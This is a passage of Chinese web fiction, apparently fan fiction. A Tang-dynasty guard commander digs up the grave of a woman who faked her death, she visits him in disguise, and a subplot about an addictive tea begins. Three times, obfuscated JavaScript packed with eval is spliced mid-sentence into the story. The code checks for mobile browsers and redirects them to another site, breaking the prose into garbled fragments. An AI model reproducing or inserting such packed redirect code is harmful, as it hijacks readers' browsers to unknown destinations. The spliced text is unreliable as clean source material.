卢凌风听到这话呆了一下:“府上小姐?贵府共有几位小姐?” “我府中只有一位小姐,乃是崔右丞的妹妹。中郎将莫非是我们公子的旧友?” 卢凌风听到这里忽然感到耳中嗡鸣,他怀疑自己是听错了,或者,这一定有什么误会,崔蘅的丧事?这怎么可能! 卢凌风再也顾不上礼不礼的,怒瞪了那仆人一眼,直接往府中冲进去:“休要胡说!小心你家主人杖罚于你!” 守门的仆人愣了愣,急忙在后面喊他:“唉!等一下,中郎将,容我先禀报啊!” 卢凌风大步冲进崔府,竟然真的看到全府各处都挂了白幡,他一路冲进堂屋,当中竟真的停了一口黑色棺材。 卢凌风看到棺材的瞬间有些懵住,第二眼才注意到坐在旁边轮椅上的崔璋,崔璋看到卢凌风,跟他打招呼道:“中郎将?莫非也是前来悼念舍妹的,这个时间好像不太合适吧。” 卢凌风有些愤怒了:“你也在跟我开玩笑吗?崔璋,什么悼念,崔蘅人呢?!让她出来!” 崔璋定定看着他,没有说话,卢凌风仿佛意识到什么似的,直奔当中停放的棺材而去,他往里面一看,见崔蘅正安安静静躺在棺材中间。她被白色和紫色的鲜花环绕着,仿佛睡着了一般。卢凌风忽然感到脚下一软,他急忙扶住棺材边缘。卢凌风有些不敢碰面前的人,他第一反应是不可能,第二反应是崔蘅在耍他! 卢凌风深吸一口气,伸手往崔蘅鼻子底下试探,竟然真的没摸到她的呼吸,他又去摸她的脉搏,也没有摸到。 卢凌风连退了几步,口中道:“不可能,不可能……” 他回头看向崔璋,冲到他面前一把抓住他的衣领:“崔璋!这是怎么回事?!” 崔璋坐在椅子上冷冷看着他,道:“如你所见,舍妹于昨日从寺庙回来途中,被毒蛇咬了一口,回来之后便不治身亡。” 卢凌风听着都觉得可笑:“被毒蛇咬了?这个时节怎么可能有毒蛇?!伤在哪里,我要看伤口!” 崔璋抬眼看他:“你以什么身份要查她的伤口。” “以金吾卫中郎将的身份如何?!崔蘅三天前还活蹦乱跳,收到你府来信回到家中,不过三日便被毒蛇咬死,她之前还被杀手追杀,且她新丧,你作为她的兄长,脸上竟不见丝毫悲伤!本将军现在怀疑是你使计害死了她,派杀手追杀她的就是你!” 卢凌风愤怒地吼完之后,崔璋反而看着他笑了一下,他无奈似的闭了闭眼睛:“左脚脚踝,你去看吧。” 卢凌风立刻冲到棺材旁边,他掀开了崔蘅裙脚,检查她的左脚,然后便发现,她的左脚竟然真的紫肿了一大片,脚踝位置还有两个牙洞,明显是毒蛇的毒牙造成。 卢凌风摇着头后退:“不可能,这不可能……” 卢凌风猛地看向崔璋,怒道:“不可能!崔璋!三日之内,给我个说法!否则本将军不会饶了你!” 卢凌风说完便愤怒地冲出门去,他不相信崔蘅死了,更不相信那具尸体是崔蘅的,绝对不相信。不论这到底是崔璋的阴谋,还是崔蘅在跟她哥哥一起搞阴谋,他都要弄清楚! 10. 我该如何自处 崔蘅说得对,卢凌风接受不了崔蘅的突然死亡,但是他看重自己的面子,所以不会把这件事闹太大。 停灵的三天里,卢凌风都没出现,崔璋都有些想笑了:“我知世间男子多薄情,没想到会薄到如此地步。他之前不还说,要我给个交待么,如今竟不送你一程。” 崔蘅静静躺在棺材里,对崔璋的话毫无反应,她身上散发着浓烈的香味,这种香叫做返魂香,是为了伪装她尸身不腐特地找来的,否则她吃了假死药的身体在停灵期间毫无变化,很容易引起怀疑。若别人问起,崔璋便说,不忍妹妹的尸身腐坏,才重金购买返魂香保她尸身完整。 崔璋往门外最后看了一眼,仍旧没等到卢凌风,他在心底深深叹了口气,随后摆摆手:“盖棺。” 沉重的黑木棺盖被盖上,棺钉也钉进去,崔蘅说了,要想让所有人都相信她真死了,就要真的将她下葬一次。 崔璋由两个仆人抬着,跟在棺材后面晃晃悠悠往他们选定的墓地走去,队伍出发时,一人跑到崔璋旁边悄声道:“有人跟着。” 崔璋抬眼,点了点头:“走。” 墓地并不远,走到目的地没花太多时间,崔璋看着被钉上的棺材,深深叹口气,挥了挥手道:“下葬。” 装着崔蘅的棺材便被缓缓地放进坑中,周围奴仆举起铲子铲土向棺材上填去。崔璋留意着周遭的环境,他知道有个人一直跟着他们,埋伏在一旁,他大概猜得到那人是谁,但是他不确定对方到底要做什么,也不确定他到底打算什么时候出现。 他太沉得住气了,崔璋甚至开始怀疑,是不是自己手下探听到的消息有误。 哀乐呜呜咽咽地吹打,纸钱漫天,直到下葬完毕,纸钱烧光,一直跟着他们的那个人都没出现。崔璋心知肚明,所有人都在演一场心照不宣的戏。 “阿蘅!一路走好!” 崔璋哀痛地喊着,往空中扬了一把纸钱,然后被他的仆人推了下去。 送葬的队伍离开,这山上多了一座孤坟,此时,埋伏在一旁多时的人影终于慢慢从树后走出来。 卢凌风这三天想了很多,崔蘅忽然离世这件事还是太奇怪了,他想了整整三天,从她收到那封信,到崔蘅无端的哭泣,到她的死……最奇怪的是她离开之前对自己说的那句话,什么,如果有一天她不在了云云,就仿佛她知道自己要离开。若她真的是被毒蛇咬死,她怎么可能提前预知?将这些事联系到一起,卢凌风只能想到一种可能,那就是崔蘅在骗他。若是真的,那崔璋肯定也是同她一伙的,卢凌风不清楚他们做这出戏的目的,但是可以肯定,他们在骗自己。 卢凌风也想过去灵上质问崔璋,可他一个男子到崔家未出阁的女儿灵前闹事,岂不是令崔蘅清誉不保?届时不知生出多少旖旎非言,让她死都不得安静……最好的办法就是不出现,他不能出现在任何人面前。 所以他决定不向崔璋讨要说法了,他要自己去找答案。? 卢凌风将银枪插在一旁,抡起锄头开始刨土,他要把崔蘅的坟掘了,他敢肯定崔蘅没死,这座坟里绝对不会躺着她的尸体,只要把她的坟掘开,他会看到一座空坟,就真相大白了! 卢凌风一边刨土,一边紧紧盯着脚下的土坑,他这三天没睡过一个好觉,脸白得像鬼一样,把崔蘅的坟掘了这最后的信念支撑着卢凌风,才让他没倒下去。 黑色的棺木终于重新露出来,卢凌风几乎脱力地歪在一旁,他扔了手里的锄头,艰难地从安放棺材的深坑里爬上去。卢凌风将插在一旁的枪拔出来,然后重重插在棺材钉的位置上。他压根不相信棺材里有人,下手便没轻重,他那杆枪本就是杀器,不管不顾地插进棺盖里,将棺材钉直接崩飞出去,棺材自然也被毁去一角。 卢凌风累得只剩喘气的力气,他咬紧牙关拧着长枪,咬牙切齿道:“崔蘅,我倒要看看,你能耍我到什么程度。” 棺材很快被打开了,卢凌风做好面对一口空棺的准备,但是当棺盖缓缓推开,却从里面露出一张苍白熟悉的脸。她嘴唇发紫,双颊发青,显然是中毒的症状。 卢凌风一下子懵了,他受到巨大惊吓一般,猛地后退几步,身体重重撞在土坯上,他靠在那里愣了半晌,口中还在说着“不可能”,他甚至可以接受棺材里是另外一具女尸,是他们为了冒充崔蘅而找的另外一具尸体,唯独接受不了这棺材里躺着的是真的崔蘅! 许久,卢凌风终于走上前去,他抖着手伸出去,抚到崔蘅脸上,触手一片冰凉,他往她手上握去,仍然只感觉到冰凉和僵硬。卢凌风从来没觉得有哪具尸体这么可怕,可怕到有缕缕凉意从心脏处蔓延到全身,让他好像被这片冰冷的大地抽干了最后一丝活气。卢凌风用力握紧崔蘅的手,心中大痛,眼泪没落下来,眼眶却红了:“不可能……怎么可能,崔蘅,这不是你,不是你!” 卢凌风盯着崔蘅的脸半晌,又看看周遭被他毁得一塌糊涂的墓地,只觉身在地狱。 他竟毁了她的坟…… 不知过去多久,卢凌风慢慢软坐在棺材旁边,他好像妥协了,终于接受了崔蘅确实已死的现实,但是眼睛干涩,仍然哭不出来,只觉疲累。卢凌风将手伸进怀里摸索,好久,他从怀里掏出一对玉雕的大雁,轻轻放在崔蘅枕边。这对雁玉质上成,婴儿拳头般大小,雕工却不精致,透着一种古朴笨拙。 “我该如何自处,崔知意……” 卢凌风伏在崔蘅身上想将她抱起来,但是试了几次并没有成功,卢凌风便撑着棺材盯着她,他闻到她身上浓烈的香味,更觉诡异。卢凌风本就不信崔蘅是被毒蛇咬死,离开他府邸时,她定是知道自己活不成了,才说那些话。为什么他不好好问清楚呢……说不定她就不用死了。 卢凌风扶着棺材边缘闭上眼睛缓了好久,依旧觉得眼前阵阵发黑,几乎站立不稳。 天上忽然闷雷诈响,大雨瞬间浇了下来,卢凌风此时总算魂魄归位,急忙用身体挡住崔蘅的尸身上:“不要!” 是他将崔蘅的棺材掘开,若她受日曝雨淋之苦,那也都是他的错。卢凌风很快发现自己根本没办法挡住那些雨水,回过神急急忙忙去拿棺盖。但是他本就力竭,此时棺盖淋了水,上面的漆很滑,试了几次都没能抱得起来,卢凌风一狠心,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401031|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲深深嵌入木头,终于将棺盖抱起来,重重地盖了上去。他不敢再耽搁,这雨看着还要继续下,得赶紧把棺材埋起来才行。 卢凌风的指甲劈断几根,手指渗着血,他还是没敢停下来,一点点埋土将棺材填上了。 做完这所有的事,卢凌风已经累到虚脱,他趴在那座坟上好半天,这才慢慢爬起来,他身上被雨水打湿,脸上也都是雨水。卢凌风来时由愤怒支撑着,离开时候只觉累极,甚想就在此地睡上一觉。 那不若就睡一觉好了。 卢凌风只感到身体沉重,抵着坟包慢慢沉入黑暗。 崔璋在暗处等了半天,不见卢凌风起身,他感觉有些不对劲,立刻令人推他上前查看。 “卢将军,卢将军!” 崔璋将伞移到卢凌风头顶,拍了拍他的脸,卢凌风迷糊地睁开眼睛看了一眼,不知他看到什么,只见他头一歪又睡过去了。 崔璋只好让人再准备了轿子,将卢凌风抬回他的府里。 他撑着伞看向卢凌风离开的方向,皱眉对身后的两名仆人道:“把小姐挖出来吧。” 他在心底重重叹口气。 他也不愿如此,他们任何人都不愿如此,但是没有办法,想不到更安全的方式,只能这么做了。终究还是崔璋考虑得更周全些,崔蘅其实同卢凌风一样,一直是少年意气,从未受过挫折,她自负地认为这个世界上不可能会有人有那等深情,不会因某个人伤心至此,却没想到,万一真的有,辜负这一切的人要怎么赎罪。 崔蘅服用了假死药,看起来是与死去无异,但是外界的声音,发生的事情,她都能感觉到。崔蘅自然感觉到了卢凌风在她坟前做的事情,当她被崔璋灌进解药,带人从坟墓中扶出来,崔蘅一时气血上涌,猛地喷出了一口血。 “阿蘅!” 崔蘅摆摆手,她回头看到被放在棺材里的两枚玉雁,喉头血气翻涌,又呕出一大口。 “你稳住神!假死药本就伤身,不要太激动!” 崔蘅闭了闭眼,才将喉头重新翻涌而出的血腥气压下去。几人搀扶着崔蘅从棺材里爬出来,她将那对玉雁拿出来塞进怀里,这才跟着他们上了轿子。 “他呢?” 崔璋叹口气:“我让人将他送回去。” 崔蘅担心地看向崔璋,后者明白她的意思,道:“放心,我刚刚为他摸过脉,只是太累睡着了。” 崔蘅虚弱地歪在轿子里,手心紧紧握着那两枚玉,眼泪便止不住地流下来。她后悔了,心里难受得不得了,或许她从一开始就不该招惹卢凌风…… “阿蘅,你还好吗?” 崔蘅听到轿子外面崔璋的声音,轻声道:“我没事。” 过了好久,崔璋听到她哽咽的声音传出来:“兄长,怎么办,我该如何收场。” 崔璋握拳咳嗽了几声:“别担心,以后我会多多照顾卢将军的。” 崔蘅摇了摇头,她知道崔璋看不见,却还是忍不住哭出声,血线顺着她的嘴角不住地淌下来,滴滴答答,落在心上:“这不一样……这次,他是真的永远不会原谅我了。” 11.有些人表面看起来是正常的…… 室内昏暗,卢凌风慢慢睁开眼,看到了头顶的围幔:“渴。” 郭庄听到他的声音,急忙凑过来:“中郎将,你醒了,你都睡了一天一夜了。” 等郭庄喂他喝下一盏水,卢凌风断片的记忆才慢慢回笼,他问道:“我怎么回来的?” “是崔右丞派人将你送回来的。” “崔璋?” 卢凌风终于想起来了,他好像是去掘了崔蘅的坟,还在她坟头睡了一觉。郭庄犹豫着说:“崔右丞来看过你,见你仍睡着,他就走了。不过看他好像很生气,一副来兴师问罪的样子。” 卢凌风冷哼一声:“他来问罪,正好,我也正想问他的罪!” 郭庄十分疑惑:“中郎将,到底发生了什么事?” 卢凌风抿紧唇角,他下巴上的肌肉微微抽搐一下:“忘了。” “忘了?!” 卢凌风瞪他一眼:“多嘴!再倒一杯茶来!” 郭庄只好又去倒茶。 崔璋好似算准了他会这个时候醒来似的,郭庄刚去倒水,便有人进来通报,崔右丞求见。卢凌风从床上爬起来,将中衣随意系上:“让他进来!” 郭庄以为自己听错了,开口道:“中郎将,你还没穿衣服呢。” 卢凌风冷笑:“又如何,本将军难道要盛装迎他。” 崔璋被人推着走进来,恰好听到卢凌风这句话,他抬手挥了挥,让仆人离开,然后看向卢凌风:“卢将军脸色看起来不错,看来身体已无大碍了。” “我的身体本来就无大碍,不过做了些体力活,累到了而已。” 崔璋冷笑:“你所谓的体力活……哼!” 卢凌风没说话,崔璋瞥向他:“别再去那里了,我已命人另寻他处,重新下葬舍妹,卢将军不要再去打扰她。” 卢凌风顿了一下,面上没什么表情:“这是你们崔家的事,与我何干,也不必同我说。” 崔璋闻言看了卢凌风一眼,他很想问若他不在乎,掘坟是为了什么,不过他最终还是没说出口,他之所以登门拜访,也是为了确认他的状况。他现在看起来倒是挺好,令崔璋一时分不清他到底在意还是不在意了。 “如此甚好,那我就告辞了。” “她到底……!” 卢凌风喊了一声,见崔璋停下来,却忽然无法将接下来的话说出口,卢凌风睁大眼睛,捂着胸口深吸几口气,崔璋皱着眉转过身看他:“中郎将还有何事?” 卢凌风吞了口唾沫,冷下声音道:“慢走不送。” 卢凌风本来想追查崔蘅的死因,可是刚刚那一瞬间,卢凌风发现自己根本问不出口,只要他问,脑子里就会出现崔蘅躺在棺材里的样子。 卢凌风的身体产生了一种自动保护机制,只要他不去问,就不会意识到对方死了,就跟两年前一样,他眼见崔蘅中了毒镖被人救走……卢凌风没去查她的下落,就好像她还活在某个角落,只是见不到面。 这样也挺好的。 郭庄却不明所以,见崔璋离开,卢凌风一副没事人一样在桌前坐下,拿起一本书看起来,他莫名其妙地问:“中郎将,他妹妹是哪个?是、是崔姑娘吗?他们长得好像。” 卢凌风从鼻子里挤出一个音节:“嗯。” “崔姑娘死了?!” “没有!” 郭庄丈二和尚摸不着头脑,没死的话下什么葬?难道是另外的妹妹? “额,我就说嘛,前几天还看到……那崔姑娘去哪里了?今天没见到她。” 卢凌风翻过一页书:“回老家了。” 郭庄越发觉得怪异:“回老家?她……回老家做什么?” 卢凌风沉默了一下:“嫁人。” “……”救命啊,中郎将在说什么胡话?她要嫁给谁?! 郭庄看他的眼神都变了,但是怎么看都觉得卢凌风好像挺正常的,跟平时一个样,根本看不出有什么问题。是他误会了吗?可是那位崔姑娘,就算要嫁人……也不该回老家嫁人吧,这里不是有个现成的人吗?! “中郎将,你……没事吧?” “我能有什么事。” “崔、崔姑娘……” “你老问她做什么?你喜欢她?” 郭庄浑身汗毛都立起来了,他艰难地吞咽一下:“我是说,你真没事吧?” 卢凌风忽然不耐烦起来:“你无事可做吗?!做什么老盯着我?!” 郭庄被吼了一顿总算老实了,急忙道:“那我忙去了,你有事叫我。” 崔蘅被崔璋从墓里挖出来,又在家里躺了好多天才恢复了一些,从师父那里得到的假死药效果虽好,想要完全恢复过来却需要更长的一段时间,更何况她还动了用药的大忌,情绪不稳,让她伤了元气。 只不过她最近没什么心情,老躺在那里一动不动,也不说话,直到崔璋转着轮椅来到她床前叫她,她才动一下。 “你不用担心他。” 崔璋看着崔蘅道:“前些天我去看了他,挺正常的,而且……我跟他说换了你坟冢的位置,他也没有追问。” 崔蘅眨眨眼睛:“那就好。” “我看不懂,他到底……到底是在乎你,还是不在乎你,竟然这样平静地接受。” 崔蘅沉默了一下:“他不问,说明他不想再去,也不会再去,倒是不怕他再掘我的坟了。” 崔璋皱皱眉:“可是,就算他不想掘坟了,也可以去看看你……” 崔蘅道:“看我做什么,最好别看。” “阿蘅……” “兄长。” 崔蘅打断他,她盯着自己的手,她的掌心正握着一枚温润的玉雁,崔蘅轻轻摩挲着它身上刻得不甚流畅的花纹:“别勉强人家再挂念个死人。” 崔璋叹口气:“他最近似乎在查什么案子,甚至带着金吾卫折腾到鬼市去了,若非我让人刻意留意了一下,连他的人都见不到。” “鬼市?” 崔蘅微微皱起眉:“金吾卫的职责是护卫天子,他去那里做什么。” “是啊,说好听点叫多管闲事,说严重点就是不务正业。” 崔蘅抬头看向崔璋,思索道:“听说长安的鬼市鱼龙混杂,武功高强者也不在少数,卢凌风不一定讨得到便宜。” 崔璋看她一眼:“你为他考虑太多了吧,他又不是小孩子。在其位,谋其政。” 崔蘅抿了抿唇角:“我是怕他……行为被心态影响。” 崔璋哼了一声:“中郎将并没有我们想象得那么脆弱,近来他心态调整得很好,全身心投入查案,正如你所说,卢凌风的心思都在建功立业,忠君报国上,对儿女情长之事用心甚少。他最近,忙得很。” 崔蘅闭了闭眼睛:“不是,不是这个原因,我不是在跟你论对错,而是生死!有的人……有的人病了,从外表是看不出来的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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郭庄听他这样说,更觉得汗毛倒竖,不为别的,中郎将第一次见到那些新娘子的尸体时,眼都红了,抓着报案人衣领把人家从地上提了起来……还非说人家身上有什么诡异的香味。郭庄也闻到过,不过那是很淡很淡的香气,不知道为何中郎将会如此激动。 所以他没回答他的问题,反而道:“中郎将,不如,你先休息休息……休息两三个时辰也好,休息好了再继续查?” “不必。” 卢凌风瞥他一眼:“我还不困,你若困了自去休息便是。” 郭庄看着他深深叹口气,只好把茶放下,自己退了出去。郭庄一出门,便看到一个坐着轮椅的人背对他坐在不远处,似是听到他的声音,转过头来。郭庄看见他这张跟崔蘅几乎一样的脸,顿时觉得亲切不少,忍不住主动上去打招呼:“哎,你是崔……” “嘘。” 崔璋比了个噤声的手势,然后朝郭庄招招手,示意他过来。 “你是郭庄?” 郭庄点点头,崔璋笑了下:“听舍妹提起过。” 郭庄想了想:“是崔蘅崔姑娘吗?” “嗯。舍妹说,郭庄是卢凌风身边值得信任的人。所以今日上门拜访,是想问一问。卢将军……近况如何?” 郭庄听他问卢凌风,立刻提高了警惕:“为何问中郎将?崔姑娘去哪里了?为何不自己来问?” 崔璋抬眼,眼神像在看神经病:“若她能问,应当也想问,舍妹前几天死于意外,如今已经下葬七日。” “什么?!” 崔璋忍不住挑眉,郭庄冷汗刷一下下来了,他喃喃道:“怪不得……怪不得……” 他家中郎将疯了! 12.求之不得,梦里相会 卢凌风原本正在看卷宗,郭庄一脸鬼祟地走进来,看见他就说:“中郎将,还看卷宗呢,累不累啊。” 卢凌风抬眼看他一眼,皱了皱眉:“不累,你若无事便回去休息吧,我还要自己再看一会儿。” “哦……” 郭庄应着,然后转身偷偷往卢凌风案上放了个铜制的香炉。香炉内生起袅袅香烟,郭庄急忙闭住气,立刻转身走了出去。卢凌风看卷宗到一半,忽然闻到一股清沁的香气,正觉得奇怪,抬头便看见了案上那个精致香炉。他知道这不是自己的东西,也不该是出现在金吾卫大营中的东西,怎么会放在这里? 他本来想去拿过来看看,一探究竟,但是闻了香,卢凌风忽然觉得眼前景象变得模糊起来,他用力甩甩头,没能让自己清醒,却一头栽倒在榻上。 卢凌风睡得很沉,他太累了,又不肯休息,整个人处于极度消耗的状态,所以这一睡下就有种再也起不来了的架势。崔蘅坐在旁边皱眉盯着他半晌,看一眼计时的滴漏,觉得时间好像差不多了,便将香炉中的香熄灭,点燃了手中的线香。她轻轻晃着那根香,清凉的薄荷味蔓出来,崔蘅便将香凑在卢凌风面前晃了两圈。 卢凌风被用了香之后,睡了足有七八个时辰,不能让他继续睡下去了,睡多了也会出问题的。 床上的人似乎感觉到不适,呻吟一声,抬手去扶自己的额头,崔蘅吓了一跳,她急忙将面纱戴上,侧脸对着他。崔蘅听崔璋打听回来的消息,很怕卢凌风这样下去会把自己折磨死,只能出此下策。 于是卢凌睁开眼,就看见一名戴着面纱的女子坐在他身边,她见他醒了,端过来一盏茶,托起卢凌风的头,递到他嘴边让他喝下。卢凌风迷迷糊糊喝了一口,刚咽下便反应过来,他猛地坐起身,几乎是条件反射般一把掐住了崔蘅的脖子,将她狠狠掼在床上。 崔蘅被他摔得懵了一下,终于明白郭庄所说,他们中郎将现在眼睛里有种危险的东西,到底是什么意思。他攻击性也太强了。 崔蘅握着卢凌风的手,生怕他真的掐下来,卢凌风只警惕地看了眼四周,见周围都黑漆漆的,只有烟雾袅袅,好似仙境,又似鬼域。 莫非……他这是在做梦? 那眼前这个女子是谁? 崔蘅没挣扎,只直直看着卢凌风,后者愣怔半晌,慢慢松开了手,却是一脸震惊的表情。 “……你是谁?” 崔蘅没说话,卢凌风直接伸手就要扯他的面纱。但是不知想到什么,他的手伸到一半又顿住了,他试探似的问道:“你到底……到底是人是鬼?” 崔蘅从床上爬起来,抬手想摘脸上的面纱,卢凌风却急忙制止她:“不要!” 他将脸转向一旁:“别摘……” 卢凌风几乎已经有了一种认知,面前的人或许是鬼魂,他很怕她的面纱摘下来之后,露出的是那张躺在棺材里的脸。卢凌风倒不怕鬼魂,但是他怕崔蘅的尸体,非常怕,再也不想看第二眼。 崔蘅愣了下,她最初只是怕太突然,刺激到卢凌风,但是现在看来,他好像把自己当成鬼了……后来发生的事情让崔蘅意识到自己犯了一个巨大的错误,这个时代——生于大唐这个时期的卢凌风,虽然看上去胆子大,但其实神经远没有她想象那么粗壮。她为了让卢凌风彻底相信她的死亡,让他亲眼去看了自己的尸体,却没意识到,当他亲手掘了她的坟,又从坟中发现自己的尸体时,受到的打击该有多大。 在这个时代,必是深仇大恨才会掘坟挖墓,卢凌风不能面对自己冲动之下做出的事,才会有这么大反应。 她设的局竟然是令卢凌风心理防线崩溃的原因……崔蘅十分自责,她必须得让他恢复正常才行。 崔蘅凑近一点,轻轻拉住卢凌风的手,将他的手按在自己面纱上。卢凌风明白了她的意思,他犹豫许久,终于还是用了力,把崔蘅的面纱轻轻扯下来。卢凌风几乎用尽所有勇气才敢去看她面纱后面的脸,好在露出的是那张他熟悉的脸,而非那张惨白的,发青的死人面孔。 卢凌风大大松了一口气,他看着崔蘅的脸,许久轻声问道:“我是不是在做梦?” 他伸出手轻轻摸她的脸,然后疑惑道:“你脸上的伤疤怎么也消失了……看来我真的在做梦。” 崔蘅看着他笑了笑,她脸上那道疤痕是用药之后去掉的,那药是师门里的小师妹制作出来的,崔蘅觉得无事,愿意做第一个试药的人,没想到真的有用。 崔蘅一直不说话,让卢凌风忽然不合时宜地想起一件事,有人说,做梦梦到死人的时候,对方是不会说话的,他目前遇到的难道就是这样的情况吗? 可是梦境能够这么真实么?他竟然能触摸到实感。 “我到底是不是在做梦……” 卢凌风自言自语道,崔蘅见不得他如此,靠近了一点,抬手抱住他,卢凌风愣了一下,下一秒,用力搂住崔蘅的腰,他力道极大,崔蘅感觉自己几乎要被他从中间勒成两截。崔蘅闭了闭眼,将脸埋在卢凌风颈侧,然后她听到卢凌风有些哽咽的声音:“……是不是知道我想你了,才入我梦。” 崔蘅的眼泪便控制不住了,一滴滴掉进他衣领里面。卢凌风把崔蘅推开一点,擦掉她的眼泪:“你哭什么?是觉得委屈吗?” 崔蘅摇摇头,卢凌风又道:“那你是来骂我的?我毁了你的坟,还以为你永远不想见我了。” 他说这句话时,眼泪终于落了下来。崔蘅又摇摇头,她见他哭时眉头轻轻皱着,看起来可怜兮兮,忍不住凑上去在他唇角亲了一下。卢凌风微微愣怔,下意识收紧手,欺身便吻了上来,他吻得很凶,不知是因为思念还是太痛苦,与其说吻,不如说是啃。崔蘅躲不开,被他按着又啃又咬,嘴里很快蔓出血腥味。崔蘅听他呼吸声渐重,吓得急忙伸手推住卢凌风,不让他再靠近——这人怎么回事,一点都不怕的吗?就不怕她是女鬼,竟然还敢近她的身。 卢凌风十分不满,表情都皱起来:“为何?这是我的梦,我在梦里都不能抱你了吗?” 崔蘅努力平复着急促的呼吸,看来不能再拖下去了,否则再用鬼魂之说,就骗不过他了。 她转身拿起桌上被熄灭的香炉,打开了盖子,然后朝着香炉里被香灰埋起来的香吹了两下,那段香便再次燃了起来。袅袅香烟升起,崔蘅将那些烟向卢凌风的方向吹去,卢凌风皱了皱眉,还是不由自主吸入了那些烟气,他很快便再次恍惚起来,卢凌风急忙伸手去抓崔蘅的手腕,但是并没抓住,迷茫中,他好像听到崔蘅说话了。 她说了什么…… “新娘……返魂香……” “……!” 卢凌风几乎是从床上弹跳起来的,一睁开眼,窗外竟然天光大亮,卢凌风并没有忘记昨天晚上的事情,他立刻去看案头,那里果然放着一只铜制的香炉,卢凌风将香炉拿过来,打开一看,里面只剩下一对燃尽的白色烟灰了,而他好似梦中所见的什么崔蘅,什么女鬼……全都没有! 卢凌风还记得这香是郭庄送进来的,立刻开始叫人。 郭庄端着一碗热腾腾的面走进来,一见卢凌风立刻开心地跟他打招呼:“中郎将!你睡醒了,看你脸色果然好了很多,崔右丞给的香真是管用。” 卢凌风顿了一下:“这香……是崔璋给的?” “是啊,昨天他来过,知道中郎将睡不好,特地送了块香来。” 卢凌风想了想:“你可曾见有什么人走出我的营帐?尤其是女子。” 郭庄摇摇头:“没有,只有中郎将一个人在睡觉。” 他一脸疑惑地说:“这里是金吾卫大营,闲杂人等根本进不来,更遑论女子。” 卢凌风听他说得有道理,心头微酸,如此说来,他必然是在做梦了…… “我一直睡到现在吗?” “对,崔右丞一开始就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卢凌风听完,下意识退后一步,他的背抵在了案几上:“与……鬼通……” 这么说,昨天晚上他见到的……果真是崔蘅? 崔璋说完,又笑道:“不过这也都是民间传言,中郎将听个乐子就够了,不必当真。” 卢凌风稳住心神,冷哼一声:“本将军怎么可能当真,怪力乱神罢了。不过,这香确实助眠,不知崔右丞可否告知如何购得,我也想买一些。” 崔璋笑了笑:“何必如此麻烦,中郎将什么时候想要,派人去右丞府,我自会相赠。” “哎,不必!这么珍贵的东西,我不能白要你的。” 崔璋摇摇头:“越犀难得,并非时时都有,我也是因为病体缠绵,无法入睡,才买这香。这样吧,以后有货,我会同中郎将说,你来取便是。” 卢凌风听他这样说,已经不好意思开口再要,毕竟跟一个病秧子抢东西,他实在做不来。崔璋似乎看穿他的想法,道:“无碍,分给中郎将用的当然是我多出来的,不必为我担忧。” 卢凌风态度终于软化下来:“那就多谢崔右丞了……” 崔璋笑着看了他一眼,表示要告辞。那一瞬间卢凌风忽然有种奇怪的感觉,崔璋以前是这么笑的吗?怎会如此……妩媚? 卢凌风刚想完,恨不得抽自己一巴掌,莫不是因为他同崔蘅长得一样,让他脑子出问题了?!卢凌风还是忍不住看了崔璋一眼,然后他又发现,他嘴唇竟然有些红肿,就跟被什么咬了似的。 “崔右丞,你的……” 卢凌风没说出口,视线却落在他嘴唇上。 崔璋下意识摸了一下自己的嘴唇,脸色有些尴尬:“同为男子,中郎将就不要问了。” 卢凌风不自在地咳嗽一声:“是我唐突,我送崔右丞出去。” 13.所谓权臣 崔蘅从“死掉”的那一刻起,便接手了崔璋的身份,而且因为崔璋身体越发不好,不能经常在外奔波,目前很多事都是崔蘅化妆成他的样子在做。右金吾卫参与了官员监察的任务,崔蘅便利用这次职务之便进入金吾卫大营。她想借鬼神之说和越犀香的安眠作用骗过卢凌风,自然要亲自出马,借这个机会进入金吾卫大营中,不容易让卢凌风对她的身份产生怀疑。 好消息是,到现在为止没有任何一个人将崔蘅的身份认出来,包括卢凌风。 这一日下朝后,崔蘅进了内室,崔璋见到她立刻招呼她过来:“来得正好,有件事要同你说。” “何事?” “近来长安出现一种饮品,名为长安红茶。这茶价格高昂,但是因为公主,天子,都在饮用,文武百官也跟着喝,行成一种喝茶的风尚。” 崔蘅没听出不对劲:“茶饮流行应该不算大事,也值得你特地拿出来与我说。” “问题在于,饮用过红茶的官员有很多出现上瘾症状,与你跟我讲过的故事中阿芙蓉很像。” 崔蘅猛地站起身:“上瘾?!鸦片出现在长安了?!怎么可能?!” ——那该是清朝发生的事,还早呢啊。 她说完之后又慢慢坐下:“不会,鸦片膏一般是用来抽的,没听说过冲茶喝,难道在茶叶里加了罂粟壳?” ——那也不对,罂粟壳熬水喝会有一定中药作用,但是因为纯度不高,一般是吃药的病人长期服用才会有上瘾可能性。 崔璋沉思道:“目前到底是什么东西造成他们上瘾还不可知,但是已经有多名官员十分痴迷,不喝茶便觉得精神不济,为了买昂贵的茶叶花光家里积蓄者亦有之。甚至有因买不到茶,扑江而亡者,实在诡异。” 崔蘅听到这里十分焦急:“诡异?这有什么好诡异的,这是戒断反应了!” 他习惯性轻轻转动着食指上戴的玉扳指:“这些事情原本也不在我监察范围之内,只怕会出现你说的那种情况,外部势力以阿芙蓉这种邪物害我中土。哦对了,你的那位金吾卫中郎将,应当也察觉到红茶不对劲了,提到红茶就喊打喊杀的,说什么妖茶,还带着金吾卫查抄了好几个卖茶的店铺。” 